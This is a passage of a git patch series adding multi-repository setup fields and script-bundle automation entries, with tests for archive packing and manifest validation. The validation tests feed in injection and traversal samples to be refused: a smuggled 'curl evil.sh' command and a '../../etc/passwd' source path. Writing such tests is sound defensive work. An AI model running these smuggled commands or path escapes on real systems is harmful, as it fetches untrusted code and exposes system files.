errorCode, @@ -133,9 +134,11 @@ export function ChatInterface() { // Global keyboard shortcut for Build button (Cmd+Enter / Ctrl+Enter) // This is placed here instead of PlanPreview to avoid duplicate listeners - // when multiple PlanPreview components exist in the chat + // when multiple PlanPreview components exist in the chat. + // Gated on the same conditions as the Build button (ConversationTabs' + // `isBuildDisabled`) so it cannot fire outside the plan flow. React.useEffect(() => { - if (isAgentRunning) { + if (isAgentRunning || conversationMode !== "plan" || !planContent) { return undefined; } @@ -154,7 +157,13 @@ export function ChatInterface() { return () => { document.removeEventListener("keydown", handleKeyDown); }; - }, [isAgentRunning, handleBuildPlanClick, scrollDomToBottom]); + }, [ + isAgentRunning, + conversationMode, + planContent, + handleBuildPlanClick, + scrollDomToBottom, + ]); const { selectedRepository, replayJson } = useInitialQueryStore(); const { conversationId } = useOptionalConversationId(); From 7c3b2423fb401820d5ecc472adf70d0b82ecc1ab Mon Sep 17 00:00:00 2001 From: Vasco Schiavo <115561717+VascoSch92@users.noreply.github.com> Date: Wed, 19 Aug 2026 13:42:14 +0200 Subject: [PATCH 15/32] feat(automations): install a catalog entry that ships a script bundle (#16680) Co-authored-by: VascoSch92 --- .../manifest/manifest-form-field.test.tsx | 148 ++++++++++- .../manifest/manifest-setup-dialog.test.tsx | 70 ++++- __tests__/manifests/automation-setup.test.ts | 70 ++++- __tests__/manifests/manifest-actions.test.ts | 114 ++++++++ __tests__/manifests/manifest-bundle.test.ts | 177 +++++++++++++ .../manifests/manifest-error-map.test.ts | 17 ++ .../manifests/manifest-validation.test.ts | 215 +++++++++++++++ __tests__/utils/tar-gzip.test.ts | 143 ++++++++++ .../automation-service.api.ts | 73 ++++- .../features/manifest/manifest-form-field.tsx | 46 +++- .../manifest/manifest-repository-list.tsx | 141 ++++++++++ .../manifest/manifest-review-step.tsx | 9 +- .../manifest/manifest-setup-dialog.tsx | 21 +- .../features/settings/settings-input.tsx | 8 + src/hooks/use-manifest-preflight.ts | 16 +- src/i18n/translation.json | 17 ++ src/manifests/automation-interface.ts | 7 +- src/manifests/automation-setup.ts | 249 +++++++++++++++--- src/manifests/interface-validation.ts | 18 +- src/manifests/manifest-actions.ts | 50 +++- src/manifests/manifest-bundle.ts | 104 ++++++++ src/manifests/manifest-error-map.ts | 18 +- src/manifests/manifest-local-validation.ts | 41 ++- src/manifests/manifest-template.ts | 38 +++ src/manifests/manifest-validation.ts | 191 +++++++++++++- src/manifests/types.ts | 65 ++++- src/utils/tar-gzip.ts | 119 +++++++++ 27 files changed, 2105 insertions(+), 80 deletions(-) create mode 100644 __tests__/manifests/manifest-actions.test.ts create mode 100644 __tests__/manifests/manifest-bundle.test.ts create mode 100644 __tests__/utils/tar-gzip.test.ts create mode 100644 src/components/features/manifest/manifest-repository-list.tsx create mode 100644 src/manifests/manifest-bundle.ts create mode 100644 src/utils/tar-gzip.ts diff --git a/__tests__/components/manifest/manifest-form-field.test.tsx b/__tests__/components/manifest/manifest-form-field.test.tsx index 0760a7c06a3f..72e7b217c7dc 100644 --- a/__tests__/components/manifest/manifest-form-field.test.tsx +++ b/__tests__/components/manifest/manifest-form-field.test.tsx @@ -11,7 +11,10 @@ import { import { SetupFormField } from "#/components/features/manifest/manifest-form-field"; import { ActiveBackendProvider } from "#/contexts/active-backend-context"; import type { Backend } from "#/api/backend-registry/types"; -import type { SetupFormField as SetupFormFieldDefinition } from "#/manifests/types"; +import type { + SetupFormField as SetupFormFieldDefinition, + SetupFormValue, +} from "#/manifests/types"; const LOCAL_BACKEND: Backend = { id: "local-1", @@ -39,13 +42,21 @@ const REPOSITORY_FIELD: SetupFormFieldDefinition = { }; /** Holds the field value the way the setup dialog does, so typing accumulates. */ -function Harness({ onValueChange }: { onValueChange: (value: string) => void }) { - const [value, setValue] = useState(""); +function Harness({ + field = REPOSITORY_FIELD, + initialValue = "", + onValueChange, +}: { + field?: SetupFormFieldDefinition; + initialValue?: SetupFormValue; + onValueChange: (value: SetupFormValue) => void; +}) { + const [value, setValue] = useState(initialValue); return ( void }) ); } -function renderRepositoryField(backend: Backend) { +function renderRepositoryField( + backend: Backend, + harness: { + field?: SetupFormFieldDefinition; + initialValue?: SetupFormValue; + } = {}, +) { setRegisteredBackends([backend]); setActiveSelection({ backendId: backend.id }); @@ -72,7 +89,7 @@ function renderRepositoryField(backend: Backend) { } > - + , ); @@ -80,6 +97,13 @@ function renderRepositoryField(backend: Backend) { return { onValueChange, user: userEvent.setup() }; } +/** The same field once the entry asks for several repositories. */ +const REPOSITORIES_FIELD: SetupFormFieldDefinition = { + ...REPOSITORY_FIELD, + label: "Repositories", + multiple: true, +}; + beforeEach(() => { __resetActiveStoreForTests(); }); @@ -107,6 +131,118 @@ describe("SetupFormField repo-picker", () => { ); }); + it("collects several repositories when the entry asks for several", async () => { + // Arrange + const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: [], + }); + + // Act + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/automation", + ); + await user.click(screen.getByTestId("setup-list-repository-add")); + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/extensions", + ); + await user.click(screen.getByTestId("setup-list-repository-add")); + + // Assert — one automation polling both, which is what the entry supports. + expect(onValueChange).toHaveBeenLastCalledWith([ + "OpenHands/automation", + "OpenHands/extensions", + ]); + }); + + it("adds a repository on Enter rather than submitting a half-built list", async () => { + // Arrange + const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: [], + }); + + // Act + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/automation{Enter}", + ); + + // Assert + expect(onValueChange).toHaveBeenLastCalledWith(["OpenHands/automation"]); + }); + + it("does not add a repository already in the list", async () => { + // Arrange — adding it twice polls it twice per run for one result. + const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: ["OpenHands/automation"], + }); + + // Act + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/automation{Enter}", + ); + + // Assert + expect(onValueChange).not.toHaveBeenCalled(); + }); + + it("removes a repository from the list", async () => { + // Arrange + const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: ["OpenHands/automation", "OpenHands/extensions"], + }); + + // Act + await user.click( + screen.getByTestId("setup-list-repository-remove-OpenHands/automation"), + ); + + // Assert + expect(onValueChange).toHaveBeenLastCalledWith(["OpenHands/extensions"]); + }); + + it("names the input the entry's own label for a screen reader", () => { + // Arrange — the label is rendered above the list rather than on the input, + // which is how an input ends up announced as nothing at all. + renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: [], + }); + + // Assert + expect(screen.getByRole("textbox", { name: "Repositories" })).toBe( + screen.getByTestId("setup-field-repository"), + ); + }); + + it("keeps a repository typed but not added, rather than dropping it", async () => { + // Arrange — the input still shows the text, so leaving the field is the + // user saying they answered it. + const { onValueChange, user } = renderRepositoryField(LOCAL_BACKEND, { + field: REPOSITORIES_FIELD, + initialValue: ["OpenHands/automation"], + }); + + // Act + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/extensions", + ); + await user.tab(); + + // Assert + expect(onValueChange).toHaveBeenLastCalledWith([ + "OpenHands/automation", + "OpenHands/extensions", + ]); + }); + it("browses the account's repositories on a cloud backend", () => { // Arrange / Act renderRepositoryField(CLOUD_BACKEND); diff --git a/__tests__/components/manifest/manifest-setup-dialog.test.tsx b/__tests__/components/manifest/manifest-setup-dialog.test.tsx index 5c8617a1aa96..32ca0eaf204f 100644 --- a/__tests__/components/manifest/manifest-setup-dialog.test.tsx +++ b/__tests__/components/manifest/manifest-setup-dialog.test.tsx @@ -111,6 +111,35 @@ beforeEach(() => { }); }); +/** The same entry once it asks for several repositories. */ +const MULTI_REPO_ENTRY: SetupEntry = (() => { + const { form } = createSetup(); + return createSetupEntry({ + setup: createSetup({ + form: { + ...form, + args: { + ...form.args, + repository: { ...form.args.repository, multiple: true }, + }, + }, + }), + }); +})(); + +/** An entry that ships a script bundle rather than a prompt. */ +const BUNDLE_ENTRY: SetupEntry = createSetupEntry({ + setup: createSetup({ + prompt: undefined, + bundle: { + version: "1.0.0", + entrypoint: "python3 main.py", + files: { "main.py": "skills/widget-monitor/scripts/main.py" }, + config: { repos: ["{{form.repository}}"] }, + }, + }), +}); + /** A deployment that answered discovery and came up short. */ const UNSUPPORTED = { capabilities: null, @@ -211,7 +240,11 @@ describe("SetupDialog", () => { replace: true, }), ); - expect(mocks.runAction).toHaveBeenCalledWith(entry, expect.anything(), null); + expect(mocks.runAction).toHaveBeenCalledWith( + entry, + expect.anything(), + null, + ); }); it("keeps the unsupported screen close-only when there is nothing to fall back to", () => { @@ -224,6 +257,41 @@ describe("SetupDialog", () => { expect(screen.queryByTestId("setup-fallback-conversation")).toBeNull(); }); + it("carries a repository typed but not added through to the review step", async () => { + // Arrange — the list is built by adding entries, and the input still shows + // what was typed when the user reaches for Continue. + const { user } = renderDialog(MULTI_REPO_ENTRY); + await user.type(screen.getByTestId("setup-field-widgetName"), "Widgets"); + await user.type( + screen.getByTestId("setup-field-repository"), + "OpenHands/automation", + ); + + // Act — Continue, without pressing Add or Enter first. + await user.click(screen.getByTestId("setup-continue-button")); + + // Assert — the answer the user could still see is the one being confirmed. + await waitFor(() => + expect(screen.getByTestId("setup-review")).toBeInTheDocument(), + ); + expect(screen.getByTestId("setup-review")).toHaveTextContent( + "OpenHands/automation", + ); + }); + + it("refuses an entry the published interface declares no way to create", async () => { + // Arrange — a bundle entry against an interface manifest published before + // bundles: neither endpoint it needs exists, and no answer supplies them. + renderDialog(BUNDLE_ENTRY); + + // Assert — said before the form, rather than as a Continue button that + // silently does nothing once the form is filled in. + expect(screen.getByTestId("setup-unmet-requirements")).toHaveTextContent( + "createBundle, uploads", + ); + expect(screen.queryByTestId("setup-field-widgetName")).toBeNull(); + }); + it("returns a rejected create to the field the service blamed", async () => { // Arrange — a validation failure addressed by payload path, which only the // derived error map can turn back into a field. diff --git a/__tests__/manifests/automation-setup.test.ts b/__tests__/manifests/automation-setup.test.ts index 8dbb92197f2d..f2e79fc29c4c 100644 --- a/__tests__/manifests/automation-setup.test.ts +++ b/__tests__/manifests/automation-setup.test.ts @@ -16,6 +16,18 @@ import { import { validateFormValues } from "#/manifests/manifest-local-validation"; import { SETUP_REGISTRY } from "#/manifests/manifest-sources"; import type { SetupEntry, SetupFormValues } from "#/manifests/types"; +import { createSetup, createSetupEntry } from "./manifest-test-data"; + +// The one word of a derived name the host writes rather than reads off the +// entry is translated, and the derivation runs where no translator can be +// passed in, so it reads the shared instance. Stubbed to pin the key and the +// count rather than a rendered sentence. +vi.mock("#/i18n", () => ({ + default: { + t: (key: string, options: Record) => + `${key}(${options.total})`, + }, +})); // The command a skill publishes in its own frontmatter, which the host looks // up rather than storing. Pinned so the assertion does not move when the @@ -48,6 +60,8 @@ interface FixtureScenario { id: string; formValues?: SetupFormValues; localValidation?: { valid: boolean }; + /** Bundle entries only: where the packed archive landed. */ + upload?: { response: { body: { tarball_path: string } } }; preflight?: FixtureExchange; create?: FixtureExchange; conversation?: { request: { action: string; message: string } }; @@ -93,6 +107,8 @@ const CREATE_CASES = BUNDLES.flatMap((bundle) => automationId: bundle.automationId, formValues: scenario.formValues ?? {}, body: scenario.create.request.body, + // A prompt entry records none; buildCreatePayload ignores it. + tarballPath: scenario.upload?.response.body.tarball_path, }, ] : [], @@ -177,8 +193,10 @@ describe("the contract fixtures", () => { ); // Assert + // Every published fixture is a prompt entry created through the preset + // endpoint, so the deduped set collapses to that single path. expect({ - create: [...createPaths], + create: [...createPaths].sort(), preflight: [...preflightPaths], }).toEqual({ create: [automationCreateEndpoint()], @@ -190,18 +208,59 @@ describe("the contract fixtures", () => { describe("buildCreatePayload", () => { it.each(CREATE_CASES)( "derives the $name create body its fixture pins", - ({ automationId, formValues, body }) => { + ({ automationId, formValues, body, tarballPath }) => { // Arrange const entry = requireEntry(automationId); // Act - const payload = buildCreatePayload(entry, formValues); + const payload = tarballPath + ? buildCreatePayload(entry, formValues, tarballPath) + : buildCreatePayload(entry, formValues); // Assert expect(payload).toEqual(body); }, ); + it("names an automation after the one repository it watches", () => { + // Arrange + const entry = requireEntry("github-pr-reviewer"); + + // Act + const payload = buildCreatePayload(entry, { + repository: "OpenHands/automation", + }); + + // Assert + expect(payload?.name).toBe(`${entry.name} - OpenHands/automation`); + }); + + it("names an automation watching several through the host's translations", () => { + // Arrange — several repositories are a count rather than a list of names + // that would not fit, and a count is a word this host has to translate. + const { form } = createSetup(); + const entry = createSetupEntry({ + setup: createSetup({ + form: { + ...form, + args: { + ...form.args, + repository: { ...form.args.repository, multiple: true }, + }, + }, + }), + }); + + // Act + const payload = buildCreatePayload(entry, { + repository: ["OpenHands/automation", "OpenHands/extensions"], + widgetName: "Widgets", + }); + + // Assert + expect(payload?.name).toBe(`${entry.name} - SETUP$REPOSITORY_COUNT(2)`); + }); + it("sends no request body for an entry that hands setup to a conversation", () => { // Arrange const entry = requireEntry("incident-retrospective-drafter"); @@ -261,7 +320,10 @@ describe("service rejections mapped back to fields", () => { ); // Assert - expect(mapped).toEqual({ fieldErrors: expectedFieldErrors, formErrors: [] }); + expect(mapped).toEqual({ + fieldErrors: expectedFieldErrors, + formErrors: [], + }); }, ); }); diff --git a/__tests__/manifests/manifest-actions.test.ts b/__tests__/manifests/manifest-actions.test.ts new file mode 100644 index 000000000000..3dba3f204998 --- /dev/null +++ b/__tests__/manifests/manifest-actions.test.ts @@ -0,0 +1,114 @@ +import { renderHook } from "@testing-library/react"; +import { beforeEach, describe, expect, it, vi } from "vitest"; +import AutomationService from "#/api/automation-service/automation-service.api"; +import { useSetupAction } from "#/manifests/manifest-actions"; +import type { SetupEntry } from "#/manifests/types"; +import { createSetup, createSetupEntry } from "./manifest-test-data"; + +/** + * The action bridge for a bundle entry, which is the only path that sends + * anything before the create call. Packing and the request layer have their own + * tests; what is exercised here is the order those two are used in. + */ +const mocks = vi.hoisted(() => ({ + packBundle: vi.fn(), +})); + +vi.mock("#/manifests/manifest-bundle", () => ({ + packBundle: mocks.packBundle, +})); + +vi.mock("#/api/automation-service/automation-service.api", () => ({ + default: { + uploadAutomationTarball: vi.fn(), + createAutomationDraft: vi.fn(), + }, +})); + +vi.mock("#/hooks/mutation/use-create-conversation", () => ({ + useCreateConversation: () => ({ mutateAsync: vi.fn() }), +})); + +vi.mock("#/stores/conversation-store", () => ({ + useConversationStore: (select: (state: unknown) => unknown) => + select({ setMessageToSend: vi.fn() }), +})); + +const ENTRY: SetupEntry = createSetupEntry({ + setup: createSetup({ + prompt: undefined, + bundle: { + version: "1.0.0", + entrypoint: "python3 main.py", + files: { "main.py": "skills/widget-monitor/scripts/main.py" }, + config: { repos: ["{{form.repository}}"] }, + }, + }), +}); + +const VALUES = { repository: "OpenHands/automation", widgetName: "Widgets" }; + +/** The payload the dialog derived for the form, carrying the stand-in path. */ +const PAYLOAD = { name: "Widget monitor" }; + +beforeEach(() => { + vi.clearAllMocks(); + mocks.packBundle.mockResolvedValue(new Uint8Array([1, 2, 3])); + vi.mocked(AutomationService.uploadAutomationTarball).mockResolvedValue( + "oh-internal://uploads/abc", + ); +}); + +describe("useSetupAction for a bundle entry", () => { + it("creates against the path the upload returned", async () => { + // Arrange + vi.mocked(AutomationService.createAutomationDraft).mockResolvedValue({ + id: "automation-1", + }); + const { result } = renderHook(() => useSetupAction()); + + // Act + await result.current(ENTRY, VALUES, PAYLOAD); + + // Assert — the stand-in path the form was checked with is replaced by the + // real one, and the entry decides the endpoint. + const [body, entry] = vi.mocked(AutomationService.createAutomationDraft) + .mock.calls[0]; + expect(body.tarball_path).toBe("oh-internal://uploads/abc"); + expect(entry).toBe(ENTRY); + }); + + it("reuses the archive it already uploaded when a create is retried", async () => { + // Arrange — the service rejects the draft, the user corrects nothing and + // confirms again. The upload cannot be taken back, so a second one would + // leave the first behind for good. + vi.mocked(AutomationService.createAutomationDraft) + .mockRejectedValueOnce(new Error("Schedule is too frequent")) + .mockResolvedValueOnce({ id: "automation-1" }); + const { result } = renderHook(() => useSetupAction()); + + // Act + await expect(result.current(ENTRY, VALUES, PAYLOAD)).rejects.toThrow(); + await result.current(ENTRY, VALUES, PAYLOAD); + + // Assert + expect(AutomationService.uploadAutomationTarball).toHaveBeenCalledTimes(1); + expect(AutomationService.createAutomationDraft).toHaveBeenCalledTimes(2); + }); + + it("packs and uploads again once an answer changes", async () => { + // Arrange + vi.mocked(AutomationService.createAutomationDraft).mockResolvedValue({ + id: "automation-1", + }); + const { result } = renderHook(() => useSetupAction()); + + // Act + await result.current(ENTRY, VALUES, PAYLOAD); + await result.current(ENTRY, { ...VALUES, widgetName: "Gadgets" }, PAYLOAD); + + // Assert — the archive carries the answers, so a different answer is a + // different archive. + expect(AutomationService.uploadAutomationTarball).toHaveBeenCalledTimes(2); + }); +}); diff --git a/__tests__/manifests/manifest-bundle.test.ts b/__tests__/manifests/manifest-bundle.test.ts new file mode 100644 index 000000000000..970d8e01187f --- /dev/null +++ b/__tests__/manifests/manifest-bundle.test.ts @@ -0,0 +1,177 @@ +import { gunzipSync } from "node:zlib"; +import { describe, expect, it, vi } from "vitest"; + +const BUNDLE_FILES: Record> = { + "widget-monitor": { "main.py": "print('watching')\n" }, +}; + +vi.mock("@openhands/extensions/automations", () => ({ + AUTOMATION_CATALOG: [], + getAutomationBundleFiles: (id: string) => BUNDLE_FILES[id], +})); + +const { packBundle, getBundleFiles } = + await import("#/manifests/manifest-bundle"); +const { createSetupEntry, createSetup } = await import("./manifest-test-data"); + +const decoder = new TextDecoder(); + +interface ArchiveMember { + content: string; + mode: number; +} + +/** Every member of a packed bundle, keyed by name. */ +function readMembers(archive: Uint8Array): Record { + const tar = new Uint8Array(gunzipSync(archive)); + const members: Record = {}; + const field = (block: Uint8Array, offset: number, size: number) => + decoder.decode(block.subarray(offset, offset + size)).replace(/\0.*$/, ""); + + let offset = 0; + while (offset + 512 <= tar.length) { + const header = tar.subarray(offset, offset + 512); + if (header.every((byte) => byte === 0)) break; + const size = parseInt(field(header, 124, 12).trim() || "0", 8); + members[field(header, 0, 100)] = { + content: decoder.decode(tar.subarray(offset + 512, offset + 512 + size)), + mode: parseInt(field(header, 100, 8).trim() || "0", 8), + }; + offset += 512 + Math.ceil(size / 512) * 512; + } + return members; +} + +/** The members' contents alone, for the cases that do not read modes. */ +function readArchive(archive: Uint8Array): Record { + return Object.fromEntries( + Object.entries(readMembers(archive)).map(([name, member]) => [ + name, + member.content, + ]), + ); +} + +function bundleEntry(overrides = {}) { + return createSetupEntry({ + setup: createSetup({ + prompt: undefined, + bundle: { + version: "1.0.0", + entrypoint: "python3 main.py", + files: { "main.py": "skills/widget-monitor/scripts/main.py" }, + config: { + repos: ["{{form.repository}}"], + max_per_run: 3, + dry_run: false, + }, + ...overrides, + }, + }), + }); +} + +const VALUES = { repository: "OpenHands/automation", schedule: "*/15 * * * *" }; + +describe("packBundle", () => { + it("packs the entry's files with the config the form rendered", async () => { + // Act + const archive = await packBundle(bundleEntry(), VALUES); + + // Assert + const contents = readArchive(archive); + expect(contents["main.py"]).toBe("print('watching')\n"); + expect(JSON.parse(contents["config.json"])).toEqual({ + repos: ["OpenHands/automation"], + max_per_run: 3, + dry_run: false, + }); + }); + + it("packs the same config the create request records as provenance", async () => { + // Arrange: the tarball and the template config disagreeing would leave the + // stored provenance describing a run that never happened. + const entry = bundleEntry(); + const { buildCreatePayload } = await import("#/manifests/automation-setup"); + + // Act + const contents = readArchive(await packBundle(entry, VALUES)); + const payload = buildCreatePayload(entry, VALUES); + + // Assert + expect(JSON.parse(contents["config.json"])).toEqual( + (payload?.template as { config: unknown }).config, + ); + }); + + it("keeps a multi-value answer a list where the config states one value", async () => { + // Arrange + const entry = bundleEntry({ config: { repos: "{{form.repository}}" } }); + + // Act + const contents = readArchive( + await packBundle(entry, { + ...VALUES, + repository: ["OpenHands/automation", "OpenHands/extensions"], + }), + ); + + // Assert + expect(JSON.parse(contents["config.json"])).toEqual({ + repos: ["OpenHands/automation", "OpenHands/extensions"], + }); + }); + + it("renders a placeholder naming something that is not a value as text", async () => { + // Arrange: a manifest naming its own setup block would otherwise put that + // whole object into the config it ships and the provenance it records. + const entry = bundleEntry({ config: { leak: "{{automation.setup}}" } }); + + // Act + const contents = readArchive(await packBundle(entry, VALUES)); + + // Assert + expect(JSON.parse(contents["config.json"])).toEqual({ leak: "" }); + }); + + it("packs a file the entrypoint runs itself as executable", async () => { + // Arrange + const entry = bundleEntry({ entrypoint: "./main.py" }); + + // Act + const members = readMembers(await packBundle(entry, VALUES)); + + // Assert + expect(members["main.py"].mode).toBe(0o755); + }); + + it("packs a file the entrypoint only passes to an interpreter as data", async () => { + // Act + const members = readMembers(await packBundle(bundleEntry(), VALUES)); + + // Assert: `python3 main.py` runs python3, not main.py. + expect(members["main.py"].mode).toBe(0o644); + }); + + it("reports an entry the published package ships no files for", () => { + // Act + Assert + expect(() => getBundleFiles("not-published")).toThrow( + /ships no bundle files/, + ); + }); + + it("reports a declared file the published package is missing", async () => { + // Arrange + const entry = bundleEntry({ + files: { + "main.py": "skills/widget-monitor/scripts/main.py", + "setup.sh": "automations/catalog/widget-monitor/setup.sh", + }, + }); + + // Act + Assert + await expect(packBundle(entry, VALUES)).rejects.toThrow( + /missing bundle files.*setup\.sh/, + ); + }); +}); diff --git a/__tests__/manifests/manifest-error-map.test.ts b/__tests__/manifests/manifest-error-map.test.ts index 64f9295cdd58..8e497b93492e 100644 --- a/__tests__/manifests/manifest-error-map.test.ts +++ b/__tests__/manifests/manifest-error-map.test.ts @@ -105,6 +105,23 @@ describe("mapServiceErrors", () => { }); }); + it("highlights the field behind a list entry the map has no index for", () => { + // Arrange: the map is derived from a payload holding one repository, so a + // rejection of the third one addresses a path that was never in it. + + // Act + const { fieldErrors, formErrors } = mapServiceErrors( + [{ path: "repos[2].ref", message: "Unknown branch." }], + ERROR_MAP, + ); + + // Assert + expect({ fieldErrors, formErrors }).toEqual({ + fieldErrors: { ref: "Unknown branch." }, + formErrors: [], + }); + }); + it("surfaces an unmappable rejection against the form rather than losing it", () => { // Act const { fieldErrors, formErrors } = mapServiceErrors( diff --git a/__tests__/manifests/manifest-validation.test.ts b/__tests__/manifests/manifest-validation.test.ts index e5ea1d902608..dc03d8948cdd 100644 --- a/__tests__/manifests/manifest-validation.test.ts +++ b/__tests__/manifests/manifest-validation.test.ts @@ -1,11 +1,25 @@ import { describe, expect, it } from "vitest"; import { validateSetupEntry } from "#/manifests/manifest-validation"; +import type { SetupForm } from "#/manifests/types"; import { createSetup, createSetupEntry, createSetupEntryWith, } from "./manifest-test-data"; +/** + * The published form with one field's declaration replaced wholesale, so a + * case can state a key the host's own types do not admit. Admission is a trust + * boundary over data from another repository, and that data is not typed. + */ +function formWithField( + name: string, + field: Record, +): SetupForm { + const { form } = createSetup(); + return { ...form, args: { ...form.args, [name]: field } } as SetupForm; +} + describe("validateSetupEntry", () => { it("admits a well-formed manifest", () => { // Arrange @@ -165,6 +179,207 @@ describe("validateSetupEntry", () => { expect(result.valid).toBe(false); }); + const bundle = { + version: "1.0.0", + entrypoint: "python3 main.py", + files: { "main.py": "skills/widget-monitor/scripts/main.py" }, + config: { repos: ["{{form.repository}}"] }, + }; + + it("admits a direct entry that ships a bundle instead of a prompt", () => { + // Arrange + const entry = createSetupEntry({ + setup: createSetup({ prompt: undefined, bundle }), + }); + + // Act + const result = validateSetupEntry(entry); + + // Assert + expect(result).toEqual({ valid: true, errors: [] }); + }); + + // A bundle is the one part of a manifest naming files and a command this + // host acts on, so each of these would be acted on if it were admitted. + it.each([ + [ + "a direct entry declaring both a prompt and a bundle", + { setup: createSetup({ bundle }) }, + ], + [ + "a direct entry declaring neither", + { setup: createSetup({ prompt: undefined }) }, + ], + [ + "an assisted entry carrying a bundle", + { + setup: createSetup({ + mode: "assisted" as const, + prompt: undefined, + form: { args: createSetup().form.args }, + message: "Set this up in a conversation.", + bundle, + }), + }, + ], + [ + "an entrypoint carrying a shell metacharacter", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, entrypoint: "python3 main.py && curl evil.sh" }, + }), + }, + ], + [ + "a packed path that escapes the archive", + { + setup: createSetup({ + prompt: undefined, + bundle: { + ...bundle, + files: { "../main.py": "skills/widget-monitor/scripts/main.py" }, + }, + }), + }, + ], + [ + "a source outside skills/ and automations/", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, files: { "main.py": "../../etc/passwd" } }, + }), + }, + ], + [ + "a config placeholder in an unknown namespace", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, config: { token: "{{secrets.github}}" } }, + }), + }, + ], + [ + "a bundle version that is not a semantic version", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, version: "latest" }, + }), + }, + ], + [ + "an entrypoint that climbs out of the archive", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, entrypoint: "python3 ../../etc/x.py" }, + }), + }, + ], + [ + "an entrypoint naming an absolute path", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, entrypoint: "/bin/sh setup.sh" }, + }), + }, + ], + [ + "an entrypoint of nothing but spaces", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, entrypoint: " " }, + }), + }, + ], + [ + "a packed path claiming the rendered config's own name", + { + setup: createSetup({ + prompt: undefined, + bundle: { + ...bundle, + files: { + ...bundle.files, + "config.json": "skills/widget-monitor/scripts/config.json", + }, + }, + }), + }, + ], + [ + "a setup script the bundle does not pack", + { + setup: createSetup({ + prompt: undefined, + bundle: { ...bundle, setupScript: "not-packed.sh" }, + }), + }, + ], + [ + "a multi-value declaration on a field that is not a repository picker", + { + setup: createSetup({ + form: formWithField("widgetName", { + type: "text", + label: "Widget name", + help: "What to call it.", + required: true, + multiple: true, + }), + }), + }, + ], + [ + "a multi-value declaration that is not true", + { + setup: createSetup({ + form: formWithField("repository", { + type: "repo-picker", + label: "Repository", + help: "Which repositories to watch.", + provider: "github", + required: true, + multiple: "banana", + }), + }), + }, + ], + ])("refuses %s", (_case, overrides) => { + // Act + const result = validateSetupEntry(createSetupEntry(overrides)); + + // Assert + expect(result.valid).toBe(false); + }); + + it("admits a repository field that collects several repositories", () => { + // Arrange + const entry = createSetupEntry({ + setup: createSetup({ + form: formWithField("repository", { + type: "repo-picker", + label: "Repositories", + help: "Which repositories to watch.", + provider: "github", + required: true, + multiple: true, + }), + }), + }); + + // Act + const result = validateSetupEntry(entry); + + // Assert + expect(result).toEqual({ valid: true, errors: [] }); + }); + it("reports every problem at once so an author sees the whole picture", () => { // Arrange const candidate = createSetupEntryWith({ name: "", description: "" }); diff --git a/__tests__/utils/tar-gzip.test.ts b/__tests__/utils/tar-gzip.test.ts new file mode 100644 index 000000000000..0756a5b1f6a5 --- /dev/null +++ b/__tests__/utils/tar-gzip.test.ts @@ -0,0 +1,143 @@ +import { gunzipSync } from "node:zlib"; +import { describe, expect, it } from "vitest"; +import { packTar, packTarGzip } from "#/utils/tar-gzip"; + +const BLOCK_SIZE = 512; +const decoder = new TextDecoder(); + +interface ParsedMember { + name: string; + mode: number; + content: string; + checksumMatches: boolean; +} + +/** + * Read an archive back the way tar does, so the test agrees with tar rather + * than with the writer under test: fields at their ustar offsets, the checksum + * recomputed with its own field read as spaces. + */ +function readTar(archive: Uint8Array): ParsedMember[] { + const members: ParsedMember[] = []; + const field = (block: Uint8Array, offset: number, size: number) => + decoder.decode(block.subarray(offset, offset + size)).replace(/\0.*$/, ""); + + let offset = 0; + while (offset + BLOCK_SIZE <= archive.length) { + const header = archive.subarray(offset, offset + BLOCK_SIZE); + if (header.every((byte) => byte === 0)) break; + + const size = parseInt(field(header, 124, 12).trim() || "0", 8); + const recomputed = header.reduce( + (total, byte, index) => + total + (index >= 148 && index < 156 ? 0x20 : byte), + 0, + ); + + members.push({ + name: field(header, 0, 100), + mode: parseInt(field(header, 100, 8).trim() || "0", 8), + content: decoder.decode( + archive.subarray(offset + BLOCK_SIZE, offset + BLOCK_SIZE + size), + ), + checksumMatches: + parseInt(field(header, 148, 8).trim() || "-1", 8) === recomputed, + }); + offset += BLOCK_SIZE + Math.ceil(size / BLOCK_SIZE) * BLOCK_SIZE; + } + return members; +} + +describe("packTar", () => { + it("writes each file with its content, mode and a valid checksum", () => { + // Act + const archive = packTar([ + { name: "main.py", content: "print('hi')\n" }, + { name: "setup.sh", content: "#!/bin/bash\nset -e\n", mode: 0o755 }, + ]); + + // Assert + expect(readTar(archive)).toEqual([ + { + name: "main.py", + mode: 0o644, + content: "print('hi')\n", + checksumMatches: true, + }, + { + name: "setup.sh", + mode: 0o755, + content: "#!/bin/bash\nset -e\n", + checksumMatches: true, + }, + ]); + }); + + it("pads content to the block size and ends with two zero blocks", () => { + // Act + const archive = packTar([{ name: "a.txt", content: "x" }]); + + // Assert: one header, one padded content block, two end-of-archive blocks. + expect(archive.length).toBe(BLOCK_SIZE * 4); + expect(archive.subarray(BLOCK_SIZE * 2).every((byte) => byte === 0)).toBe( + true, + ); + }); + + it("survives multi-byte content, whose length is bytes and not characters", () => { + // Arrange: three bytes in UTF-8, one character in JavaScript. + const content = "héllo — ✓\n"; + + // Act + const members = readTar(packTar([{ name: "notes.md", content }])); + + // Assert + expect(members[0].content).toBe(content); + }); + + it("writes a multi-byte name as the bytes a reader takes it back from", () => { + // Arrange: the name is 8 bytes in UTF-8 and 7 characters in JavaScript, + // and the length guard measures the bytes. + const name = "café.py"; + + // Act + const members = readTar(packTar([{ name, content: "" }])); + + // Assert + 